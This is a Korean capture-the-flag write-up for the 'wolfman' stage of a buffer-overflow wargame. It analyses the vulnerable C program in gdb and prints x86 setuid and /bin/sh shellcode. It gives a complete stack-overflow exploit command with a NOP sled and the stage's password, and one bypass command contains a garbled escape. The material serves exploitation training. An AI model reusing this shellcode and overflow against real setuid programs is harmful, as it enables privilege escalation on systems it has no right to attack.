bof
orc 사용자의 wolfman 문제
egghunter + buffer hunter
#include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++){ memset(environ[i], 0, strlen(environ[i])); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
=> argc 조건. 인수가 1개 이상 있어야 한다
=> 환경변수 extern 사용하여 메모리를 채움
=> egghunter : 에그헌터. 메모리에 올라가 있을지도 모르는 에그쉘을 지우는작업
=> argv[1][47] 값이 \xbf 에서 변동되면 종료.
=> 버퍼헌터 : 버퍼에 있을 수 있는 공격코드를 0으로 초기화
문제를 풀기 앞서 memset 예제 #include <stdio.h> #include <string.h> int main(){ char string[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; memset(string, '0', sizeof(string)); printf("%s", string); return 0; } (gdb) x/8xw string 0xffffd5cd: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d 0xffffd5dd: 0x54535251 0x58575655 0x00005a59 0xd3000000 => string 메모리 조사 memset(string, '0', sizeof(string)); 실행후 (gdb) x/8xw string 0xffffd5cd: 0x30303030 0x30303030 0x30303030 0x30303030 0xffffd5dd: 0x30303030 0x30303030 0x00303030 0xd3000000 => '0' 으로 초기화된 것 확인 |
+ printf로 strlen 결과를 출력할 때는 %d가 아니라 %zd가 정확하다
* strlen 코드의 원리 파악 size_t mystrlen(const char *s){ size_t length = 0; const char *p = s; while(*p){ p++; length++; } return length; } 3: p = 0xffffd5e0 "1234567" 2: s = 0xffffd5e0 "1234567" 1: length = 0 (gdb) x/4xw p 0xffffd5e0: 0x34333231 0x00373635 0x00000000 0xf7e1e2d3 3: p = 0xffffd5e1 "234567" 2: s = 0xffffd5e0 "1234567" 1: length = 1 (gdb) x/4xw p 0xffffd5e1: 0x35343332 0x00003736 0xd3000000 0x01f7e1e2 3: p = 0xffffd5e2 "34567" 2: s = 0xffffd5e0 "1234567" 1: length = 1 (gdb) x/4xw p 0xffffd5e2: 0x36353433 0x00000037 0xe2d30000 0x0001f7e1 3: p = 0xffffd5e3 "4567" 2: s = 0xffffd5e0 "1234567" 1: length = 2 (gdb) x/4xw p 0xffffd5e3: 0x37363534 0x00000000 0xe1e2d300 0x000001f7 ... .. 3: p = 0xffffd5e7 "" 2: s = 0xffffd5e0 "1234567" 1: length = 6 (gdb) x/4xw p 0xffffd5e7: 0x00000000 0xe1e2d300 0x000001f7 0xffd68400 |
if(argv[1][47] != '\xbf') 우회하기
# ./wolfman $(python -c print' "a"*47 + "\bf"');
=> 해당 코드로 실행시키면 if(argv[1][47] != '\xbf') 조건을 만족하여 일단 우회 가능
그러나 마지막에 실행시 복귀주소가 침범되어 에러가 남
공격용 쉘코드
16byte setuid(geteuid())
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
25byte /bin/sh
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
41byte(16byte setuid() + 25byte /bin/sh) shell code
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
* 환경변수의 메모리 영역이 egghunter에 의해 리셋되는 것을 확인하기 gdb에서 ebp 메모리 조사 (gdb) x/8xw $ebp 0xbffff0e8: 0xbffff108 0x400309cb 0x00000002 0xbffff134 0xbffff0f8: 0xbffff140 0x40013868 0x00000002 0x08048450 └ 환경변수 envp 자리 (gdb) x/32xw 0xbffff140 0xbffff140: 0xbffff27f 0xbffff291 0xbffff2aa 0xbffff2c9 0xbffff150: 0xbffff2eb 0xbffff2fd 0xbffff306 0xbffff4c9 0xbffff160: 0xbffff4e8 0xbffffce8 0xbffffd02 0xbffffd17 0xbffff170: 0xbfffff17 0xbfffff22 0xbfffff2e 0xbfffff37 0xbffff180: 0xbfffff44 0xbfffff52 0xbfffff63 0xbfffff71 0xbffff190: 0xbfffff7f 0xbfffff90 0xbfffff9b 0xbfffffaa 0xbffff1a0: 0x00000000 0x00000003 0x08048034 0x00000004 0xbffff1b0: 0x00000020 0x00000005 0x00000006 0x00000006 (gdb) x/s 0xbffff2c9 0xbffff2c9: "LESSOPEN=|/usr/bin/lesspipe.sh %s" (gdb) x/16xw 0xbffff2c9 0xbffff2c9: 0x5353454c 0x4e45504f 0x752f7c3d 0x622f7273 0xbffff2d9: 0x6c2f6e69 0x70737365 0x2e657069 0x25206873 0xbffff2e9: 0x4e450073 0x722f3d56 0x2f746f6f 0x7361622e 0xbffff2f9: 0x00637268 0x52455355 0x63726f3d 0x5f534c00 => egghunter에 의해 0으로 리셋된 후 (gdb) x/16xw 0xbffff2c9 0xbffff2c9: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff2d9: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff2e9: 0x4e450000 0x722f3d56 0x2f746f6f 0x7361622e 0xbffff2f9: 0x00637268 0x52455355 0x63726f3d 0x5f534c00 |
(gdb) x/8xw $ebp
0xbfffc9b8: 0xbfffc9d8 0x400309cb 0x00000002 0xbfffca04
0xbfffc9c8: 0xbfffca10 0x40013868 0x00000002 0x08048450
=> ENVP 환경변수 영역을 메모리 조사
(gdb) x/12xw 0xbfffca10
0xbfffca10: 0xbffff286 0xbffff294 0xbffff2ad 0xbffff2cc
0xbfffca20: 0xbffff2ee 0xbffff300 0xbffff309 0xbffff4cc
0xbfffca30: 0xbffff4eb 0xbffffceb 0xbffffd05 0xbffffd1a
(gdb) x/s 0xbffff4eb
0xbffff4eb: "EGG=", '\220' <repeats 196 times>...
=> ENVP 배열을 하나씩 꺼내서 EGG가 들어있는 영역을 얻음
(gdb) x/512xw 0xbffff4eb
0xbffff4eb: 0x3d474745 0x90909090 0x90909090 0x90909090
... ~ NOP 코드 시작 ~
... 중략
...
0xbffffc9b: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcab: 0xc0319090 0x80cd31b0 0xc189c389 0x46b0c031
0xbffffcbb: 0x1feb80cd 0x0876895e 0x4688c031 0x0c468907
0xbffffccb: 0xf3890bb0 0x8d084e8d 0x80cd0c56 0xd889db31
0xbffffcdb: 0xe880cd40 0xffffffdc 0x6e69622f 0x0068732f
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
=> EGG 영역 메모리조사하여 NOP 코드가 시작되는 것 캐치, NOP 영역 끝날때 쉘코드 확인
대충 만바이트 정도 NOP가 이어지다가
공격코드의 \x31이 나오는 부분이 쉘코드 시작 ~ 이어지다가 /bin/sh 문자열로 00 null이 나오면서 끝
공격코드
./wolfman `python -c 'print "A"*44 + "\x88\xf0\xff\xbf" + "\x90"*10000 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
=> ./wolfman `phthon -c print'"아무거나44바이트" + "복귀주소 항목에 들어갈 점프할 주소" + "NOP 코드 10000바이트" + "공격용 쉘코드 41바이트"'`
주의점은 복귀주소를 NOP 영역으로 잡되 xbf로 끝나는 주소로 해야함
wolfman 비밀번호는 love eyuna